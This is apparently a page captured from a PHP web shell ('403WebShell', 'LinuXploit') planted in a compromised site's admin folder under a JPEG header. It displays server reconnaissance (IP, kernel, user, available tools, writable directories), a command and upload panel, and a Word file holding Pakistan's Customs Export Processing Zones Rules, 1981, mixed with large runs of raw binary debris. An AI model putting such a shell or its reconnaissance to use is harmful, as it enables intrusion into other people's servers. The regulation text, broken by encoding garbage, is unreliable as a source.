ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/public_html/admin/sro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/public_html/admin/sro/1981sro249.doc
��ࡱ�>��	LN����K�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������o�	��u3bjbjz.z.	>PD�\D�\G+-�������tt���������88Ld�l��(������(******$��!~N������N�����c


�$����(
�(

r�T������P��u����������y0��I"�pI"�I"��$��
�����NN
����������������������������������������������������������������������������I"���������t>�:	GOVERNMENT OF PAKISTAN
CENTRAL BOARD OF PREVENUE

NOTIFICATION
Islamabad, the 25th March, 1981
CUSTOMS
	S.R.O.  249(I)/81.- In exercise of the powers conferred  by  section 219  of the Customs Act, 1969(IV of 1969), the Central  Board  of Revenue,  in order to regulate and control import and  export  of goods  into  and from the Export Processing Zones,  is pleased  to make the following rules, namely:-

1. 	Short title, extent and commencement.- (1) These rules may  be called the Customs Export Processing Zones Rules, 1981

	(2) 	They shall apply to all Zones.

	(3) 	They shall come into force at once.

2.  	Definitions.-  In  these  rules,  unless  there  is  anything repugnant in the subject or context,-

	(a) 	�Act� means the Customs Act, 1969(IV of 1969);
	(b)  	�Authority�  means  the Export  Processing  Zones  Authority established under the Ordinance;
	(c) 	�Collector  of Customs�, in relation to a  Zone,  means  the Collector  of  Customs,  in whose  jurisduication  such  Zone  is established:
	(d) 	�Import�, in relation to a Zone, means import from abroad  and includes goods introduced into a Zone from the Tariff Area;
	(e)  	�Investor� and �industrial-undertaking� shall have the  same meaning as are, respectively, assigned to them in the Ordinance;
	(f)  	�Ordinance�  means  the Export  Processing  Zones  Authority Ordinance, 1980(IV of 1980);
	(g) 	�Tariff Area� means any area in Pakistan outside the limit of a Zone; and
	(h)  	�Zone�  means  such  area as  is  declared  by  the  Federal Government to be a Zone under the Ordinance.

3.  	Import  of goods into the Zones.-    (1)  subject  to  sub-rules (7)and(8), any goods can be imported into the Zones from abroad or from  the Tariff Area.

	(2)	A separate bill of entry in respect of goods imported for  a Zone  along with other documents showing details of   the goods  as required  under  the Act and the Rules made thereunder  shall  be presented to the Customs authorities for assessment and clearance.

	(3)	Goods imported into a Zone shall be assessed  in  accordance with the existing procedure.

(4)	The  exemption granted under Board�s Notification  No.  SRO. 881(I)/80,  dated  the 23rd   August, 1980 shall be  applicable  to machinery,  equipment, materials to be used  solely  within  the limits of a Zone and goods imported into the Zone for warehousing purposes:

            Provided that Investors in Exports Processing Zones shall be allowed to dispose off their machinery in tariff area after three years  from date of filing of the bill of entry of its import subject to import policy order and payment of duties and taxes.
	
An investor or his licensed clearing agent duly approved  and authorised by the Authority shall carry out necessary formalities regarding Customs clearance.

		(6)  	All  goods so cleared shall be secured and forwarded  to  the Zone  under Customs surpervision, a pass shall be sent  with  the goods specifying  the name of the importer and the clearing agent, if any, number of vehicle, description and quantity of goods  with the marks and numbers and contents thereof and, on receipt of the goods  in the Zone, the officer of Customs allowing the goods  to enter the Zone shall retain the pass.

		(7) 	Admission of goods imported for a Zone shall not be  refused except when the goods are liable to restrictions or  prohibitions imposed  on  the  grounds of public  morality  or  order,  public security   hygiene  or  health  or  for  veterinary   or   phyto-pathological  considerations,  or relating to the  protection of patents, trade marks or copy-rights.

		(8)  	Hazardous goods may be allowed to be admitted to a Zone  only when an area specially designed for its storage is made available within  the Zone.

		(9)  	Goods admitted to a Zone may remain there for such period  as may be perscribed by the Authority.

4.  	Introduction of goods into the Zones from Tariff  Area.-    (1) Goods  from the Tariff Area required for further processing in  a Zone  shall  be admitted after completion  of  export  formalities which are normally observed for export out of country.

	(2)   	Goods  which  are  entitled  to  exemption   or   repayment of Customs-duties and Sales tax on exportation shall qualify  for such  exemption  or  repayment  immediately after these  have  been admitted  into  a Zone in accordance with the provisions  of  the Board�s  Notification No. S.R.O..882(I)/80, dated 23rd  August, 1980.

5. 	Export of goods from the Zones .-  (1) Any goods removed from  a Zone for exportation shall be  exporte dunder the export procedure as laid  down  in  the Act and the  rules  made  thereunder  and documentation  shall be completed on the basis of exemption  from duties    and    taxes    under    the    Board�s    Notification No.S.R.O.881(I)/80,dated the 23rd August, 1980.

	(2)  		Goods  cleared  for  export shall  be  forwarded  to  the exporting station under Customs supervision, a pass shall be sent with  the  goods , specifying the name of the  Exporter  and  the clearing  agent,  if any, number of  vehicles,  description  and quantity  of goods with the marks and numbers and ,  on  receipt of the  goods  at  the exporting station , the  officer  of  Customs allowing the export of goods shall retain the pass.

	(3)  		All Customs formalities regarding removal of goods from  the Tariff Area shall be completed at the main Customs Check Post  or any  place  within  the Zone approved for  this  purpose  by  the Collector of Customs.
	(4)		Export Processing Zones manufacturers shall be treated at par with the bonded manufacturers in tariff area.

6. 	Removal of goods from the Zone to Tariff Area.-    (1) Removal of imported raw materials, imported goods in the same state  and goods produced by investors in a Zone to  Tariff  Area  for home consumption may be allowed subject to  the  import restrictions and formalities applicable to imports from abroad , customs-duties  and  other taxes levied on  imports  into  Tariff  Area  from the Zone shall be the same as duties and taxes  levied on similar imports from abroad .

Any goods permitted by the aforesaid authority for entry into the  Tariff Area under sub-rule (I) may be taken out of the  Zone after  fulfilling all the requirements prescribed under the  Act and  the Rules made thereunder for the direct import from aboard  into the Tariff Area .

	(3)  		The  point in time to be taken into  consideration  for  the purpose  of  determination of value and the rate  of  duties  and other taxes applicable on goods removed for home consumption shall be  determined in accordance with provisions of the Act  and  the Rules made thereunder.
	(4)  		The goods produced in a zone and removed to Tariff Area  for home  consumption  shall be chargable to  customs-duties  in  the state  in which they enter the Tariff Area .

				Explanation. - The normal value of the goods manufactured in  the E.P.Z., on entry into the Tariff Area  vice versa  shall be assessed as per the provisions of section 25 of the Customs Act,1969.

6A.	Subcontracting for units of the tariff area.-  Units operating in a Zone shall be allowed to undertake subcontracting for units of the tariff area  subject to payment of duty and taxes on value addition only and sales tax if chargeable on the value of supply with the prior permission of the Collector of Customs on such conditions, restrictions and limitations as may be prescribed by the Collector or as otherwise provided in the Act or the Rules made thereunder:

			Provided that in case of chargeability of central excise duty or sales tax, shall be collected in the same manner and time as if it were duty of customs  payable under the Customs Act, 1969 (IV of 1969).

7.  	Destruction  .-   Any goods admitted to a Zone  on  having  been rendered  unfit for consumption  may  be  allowed  to be  destroyed  or rendered  commercially  value-less by an officer of  Customs  not below  the  rank  of an Assistant Collector of  Customs  in  such manner as may be prescribed by the Collector of Customs:

			Provided that manufacturer in Export Processing Zone is allowed to remove @ 3% of the total value of export, the defective 'B' grade goods, waste, used packing materials, empty drums and cartons generated or produced in the Zone to tariff area on payment of duties and taxes.

8.  	Unaccounted  goods.-  If any importer fails  to  give  proper account of the imported goods to the satisfaction of an officer of Customs not below the rank of an Assistant Collector of  Customs, the  importer shall pay on demand an amount equal to  the  duties and  taxes  leviable  thereon and shall also  be  liable  to  pay penalties imposed for such violation under the Act and the  rules made thereunder.

9.	Remission  of  duties.-  Subject to the  satisfaction  of  the Collector of Customs, the duties and other taxes, if any, may  be remitted in full or in part, as the case may be, in the following cases, namely:-

when  any  goods are damaged  or  destroyed  by  unavoidable circumstances  or causes beyond the
	control of the  importer  or the owner;
	(ii) 	when  the  waste or refuse of the  goods  is  destroyed  in accordance with rules 7; and
	(iii)  	when  goods  imported are bona  fide  samples  for  study, testing or design.

10.  	Restriction  on removal of goods from the zones.-    No  goods shall  be taken out from any Zone except as provided in  rules  5, 6, 6A and  7, or for transfer to another Zone or to customs manufacturing bond in a tariff area  or for subcontracting with the prior   permission   of  the  Collector  of   Customs   on   such conditions, restriction and limitation as may be prescribed by him or as other wise provided in the Act or the rules made thereunder.

11.  	Transfer  of  ownership .-   Transfer of  ownership  of  goods admitted to a Zone may be allowed:

	Provided that retail sale of such goods shall not be allowed.

12.	 Security of the Zones.-    (1)    Each Zone shall be delimited  and bounded with secured boundary fending and suitable check posts  may  be established  after approval of the Collector of Customs.
	

	(2) 		The construction of the check post shall be  carried out by the Authority in accordance with the layout plan  approved by the Collector of Customs.

	(3) 		The Collector of Customs may impose restrictions on means  of access to a Zone and establish the hours of business.

	(4)  		The Collector of Customs may keep the means of access  to  a Zone  under permanent or intermittent supervision, and make  spot  checks on the goods introduced into the Zone to ensure that these are  subjected to only authorised operations and to see  that  no un-authorised goods have been introduced.

[C.No 9(10)-SS(CB)/77. Vol.II]
[C.No. 14(19)L&P/81. PT.]
NASIR AHMAD
Secretary (Customs)
[As amended]
S.R.O. 1096(I)/84.	- 	dated 24-12-1984.
S.R.O.    (I)/85.		- 	dated 09.10.1985, w.e.f. 24-12-1984.
S.R.O.142(I)/88.		- 	dated 25.02.1988.			
S.R.O.941(I)/97,		-	dated 06.10.1997							
S.R.O.627(I)/2000    	-      	dated 04.09.2000









PAGE  727


PAGE  11
	





?^_fh{�	�	8
9
i
t
(G Vt�3�"�"�#�#J&W&�(�(L*a* +a,h,�,9.Q.�.�.�/�/12=2Q233F3G3H3J3K3M3N3P3Q3S3T3Z3[3^3_3`3b3c3i3������������������������������ÿÿÿÿ���������h��0JmHnHu
h��0Jjh��0JUh��jh��U
h��aJh��5�6�hh��CJOJQJh��B*hph	h��hh��6�hh��5�h@12?_g�	�	

8
������bbbbb($
�>��8p�	@���d�P� �X �!�#d�a$($
�>��8p�	@���d�P� �X �!�#dha$($
�>��8p�	@���d�P� �X �!�#d�a$%$
�>��p@���P ��!�$`'0*-�/�2p5@8a$8
9
c
d
�
�
h�{
a
�
"#������������������0$
�>��8p�	@���d�P� �X �!�#���|�d�^��`�|�a$($
�>��8p�	@���d�P� �X �!�#d�a$���/0B����X($
&F
�8��p�	@���d�P� �X �!�#d�a$&$
�;��8p�	@���d�P� �X �!�#d�a$($
�>��8p�	@���d�P� �X �!�#d�a$.$
�;��8p�	@���d�P� �X �!�#�8��d�^�8`��a$BCLN���wM*$
&F
�;��p�	@���d�P� �X �!�#d�a$0$
�>��8p�	@���d�P� �X �!�#�8��d�^�8`��a$,$
�>��8p�	@���d�P� �X �!�#�8d�^�8a$+$
&F
�>��8p�	@���d�P� �X �!�#d�a$������������{�{($
�>��8p�	@���d�P� �X �!�#d�a$0$
�>��8p�	@���d�P� �X �!�#�8��d�^�8`��a$,$
�>��8p�	@���d�P� �X �!�#��d�^��a$	op����z�S�&$
�;�p�	@���d�P� �X �!�#d�a$-$
�8��8@���d�P� �X �!�#�8��d�^�8`��a$($
�>��8p�	@���d�P� �X �!�#d�a$0$
�>��8p�	@���d�P� �X �!�#���d�^�`��a$������� � �������}Q,$
�>��8p�	@���d�P� �X �!�#�d�^�a$*$
&F
�;��p�	@���d�P� �X �!�#d�a$($
�>��8p�	@���d�P� �X �!�#d�a$0$
�>��8p�	@���d�P� �X �!�#�8��d�^�8`��a$	�  "�"�"�#�#t%u%D&E&�'�'�(�(H*I*+ +�+������������������
&F
�p($
�>��8p�	@���d�P� �X �!�#d�a$0$
�>��8p�	@���d�P� �X �!�#�8��d�^�8`��a$�+�+
,a,b,2.3.�.�.�.�.�/�/�/�����������yy"
�>��p@���P ��!�$`'0*-�/�2p5@80$
�>��8p�	@���d�P� �X �!�#���d�^�`��a$($
�>��8p�	@���d�P� �X �!�#d�a$	���^��`�
�/D0E0�0�0�1�1212=2Q2^2���������($
�>��8p�	@���d�P� �X �!�#d�a$($
�>��8p�	@���d�P� �X �!�#d�a$0$
�>��8p�	@���d�P� �X �!�#�8��d�^�8`��a$^2�2�2�23F3G3I3J3L3M3O3P3R3S3��������������
���!%
�>��8p�	@���d�P� �X �!�#d�%
�>��FTp@���d�P� �X �!�#d�($
�>��FTp@���d�P� �X �!�#d�a$S3`3a3b3n3p3q3r3s3t3u3����������
���!$����&`#$a$����&`#$
i3j3l3m3q3t3u3������
h��aJh��
h��0Jjh��0JU�*h'�0JmHnHu�*jh��0JU<00P&P��/ ��=!��"��#��$��%��������Dp�s���������666666666vvvvvvvvv666666>666666666666666666666666666�6666666666�666666666666hH66666666666666666666666666666666666666666666666666666666666666666p62����&6FVfv������2(��&6FVfv������&6FVfv������&6FVfv������&6FVfv������&6FVfv������&6FVfv��8X�V~�������� 0@�� 0@�� 0@�� 0@�� 0@�� 0@�� 0@�� 0@�� 0@�� 0@�� 0@�� 0@�� 0@�� 0@_HmH	nH	sH	tH	@`�@NormalCJ_HaJmH	sH	tH	DA`�DDefault Paragraph FontVi�V
0Table Normal :V�4�4�
la�(k �(
0No List< @�<Footer

���!CJaJ.)@�.Page Number��O!�SHE]$
�>��p@���P ��!�$`'0*-�/�2p5@8���`��^��`�`�a$B*CJOJQJaJhphHC@"HBody Text Indent�h�x^�hPK!����[Content_Types].xml���N�0E�H���-J��@%�ǎǢ|�ș$�ز�U��L�TB� l,�3��;�r��Ø��J��B+$�G]��7O٭V��<a���(7��I��R�{�pgL�=��r���8�5v&����uQ�뉑8��C����X=��$␴�?6N�JC������F�B.ʹ'�.�+���Y�T���^e5�5�� ��ð�_�g -�;�����Yl�ݎ��|6^�N��`�?���[��PK!�֧�6_rels/.rels���j�0���}Q��%v/��C/�}�(h"���O�
����=������ ����C?�h�v=��Ʌ��%[xp��{۵_�Pѣ<�1�H�0���O�R�Bd���JE�4b$��q_����6L�R�7`������0̞O��,�En7�Li�b��/�S���e��е�����PK!ky���theme/theme/themeManager.xml�M
� @�}�w��7c�(Eb�ˮ��C�AǠҟ����7��՛K
Y,�
�e�.���|,���H�,l����xɴ��I�sQ}#Ր���� ֵ+�!�,�^�$j=�GW��)�E�+&
8���PK!�R%���theme/theme/theme1.xml�Y]��F}/�?�;�����l�ζ�MB��ql��Ɏ4F3ލ	��<
�i�C}�CiH�/��6�M!�wF�<c���%��d
�4:�Ι{��I��܏�s�NX�p��
���!�x�po�����p���,�
w��{e��.��;`��pC!�;�<�0���pm̒	8M&�Q���oD�B����]'F��1�!v�ҥ��tޡp.�4�I�ذP��aQ"��4q�m�0ψ��}�:qnA�����y��0�b��f�U���谤�L&�lR��J3�Tl�:�N�S�)a�)ݧߪ�����C��v�].x�y�sӗ?�@�o��E�@)��{^�x^�R|e_-4�^�+PHI|��.��r�\m3�g��}�[--��PP
Yu�)�,�j-B�X��R$H����8@���I�7E1�0\(��2��?O����4k���!���ÄLE������߼|�<zq�藓ǏO��:2��P<ѭ^���O?u�z���'_��\���g����+]�����x���7���������s�:>vn��B`2ǃ��,�!"�E3�p#9��G���Qd����;	H�
xuv� ��� ����0F[,�F᚜KsO�'3w�#�����vfS�Vbs�ؠy��X�	��p�5v��euw	1�z@�	�l,���i!b
I��jZ��2��|�9�������L$��Z�15�x��l.�(�z���m${�d��:\@�'�2�3œ�ln$�^-��@^�i?���D&��|�#�td�!��6l�ġ���B�"�&6�3�yy@��t�!�H��jp�U��*ye�Xry3�~{s:FXI
����O�5Y��[Y!}��S˪.��7b����d|n]�������6��71�.�
�t��n�/����w/�+���[�t��6���}��P�s���ںs�L�.J;�̊��i��N�	�$A��I������)�t2���L�m����x:��(}\-�i*��x����QC��Ju���Wl'�QyI@ھ
	m2�D�B���AR�4	��w¢naQ��`Բ���Ɂ
W�=0#x�B�d��T/����.3�-�F�>bY�L�%׭˓�KK��6Hh�f�P�Q=��h��)G�B�ms]_�Ԡ'C���ZѨ���ys
v��@c])h�7�Jه��i��c?FS�.���N���P$�
e�&\�Ӏ+�I� "'%QÕ���@c�!�[��pa��AV.9H��d<��Ӯ��H����VX�*��%�A�{����YrA��բ�px�SL�9"�:3�U��5�����U
��NC��(���p%�u��@;[���d��`���4�)��]�t#9M4W=�P�5�*f̰lk�<_��X-C��w�T��%��Ժ�}B�% �Y�,]�
A���̠&oʰ��Ũ�;�<��Y������۵�e=�:����z���x��T�V�=�Olpģ
/�gTp�J�� ��Ԟ$�
�E�ŭG�,!
�A�ozA�r����ye�����r���b�/ڭ�Ch,"��~�ͥ���|��E�o|}��o�.
Y�g��J^W__���__��R���V%W/7�9�ݪ��A��kW�j���Z���u��k��ҩ�*� �y���_��^����Z�k>\lc`�|,b�U�v���PK!
ѐ��'theme/theme/_rels/themeManager.xml.rels��M
�0���wooӺ�&݈Э���5
6?$Q��
�,.�a��i����c2�1h�:�q��m��@RN��;d�`��o7�g�K(M&$R(.1�r'J��ЊT���8��V�"��AȻ�H�u}��|�$�b{��P����8�g/]�QAsم(����#��L�[������PK-!����[Content_Types].xmlPK-!�֧�60_rels/.relsPK-!ky���theme/theme/themeManager.xmlPK-!�R%����theme/theme/theme1.xmlPK-!
ѐ��'�	theme/theme/_rels/themeManager.xml.relsPK]�
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>u+P����	,,,/i3u3'8
�B��� �+�/^2S3u3 !"#$%&"%/!T���!����8�@�����������0�(	�
��B
�S����	?����
�
FR�
�
��������!�!�)�)�)�)�)�)****�*�*+:+;+E+G+I+J+L+M+O+P+R+S+_+b+m+s+v+��tv3>����(2��4B~
�
PZ��CJ[g��[d���#�#�#�#$$9&E&�'�'�(�(�()**#*%*�*�*�*�*+!+G+I+J+L+M+O+P+R+S+s+v+33333333333333333333333333333333,+-+4+5+F+G+I+J+L+M+O+P+R+S+_+b+m+v+�A�lJ��T�E�[n���?LV�6B�!'�gH�LG����0���^��`�0�o(()�h����h^�h`���OJQJo(�8���8^�8`��o(()�8����8^�8`���>*o(()!'�gT�E�A��?L���������������������'�3	���G+I+�@�u+�@��Unknown������������G��.�[x�	�Times New Roman5��Symbol3.��.�[x�	�Arial7�Tms Rmn;��WingdingsA�Cambria Math"1���hx̷Gx̷Gu�$Nu�$N��P�����01+1+J�q���HP	�	$P����������������������3	�2!xx����GOVERNMENT OF PAKISTANshahidMuhammad Abbas��
��Oh��+'��0���������	 
@L
Xdlt|�GOVERNMENT OF PAKISTANshahidNormalMuhammad Abbas2Microsoft Office Word@@�]\���@�]\���u�$��
��՜.��+,��0hp��������
���pralN1+GOVERNMENT OF PAKISTANTitle	

 !"#$%&'(����*+,-./0123456789:����<=>?@AB����DEFGHIJ��������M������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry��������	�FI�u���O�1Table��������)e"WordDocument��������>PSummaryInformation(����;DocumentSummaryInformation8������������CCompObj������������r������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�F Microsoft Word 97-2003 Document
MSWordDocWord.Document.8�9�q

Youez - 2016 - github.com/yon3zu
LinuXploit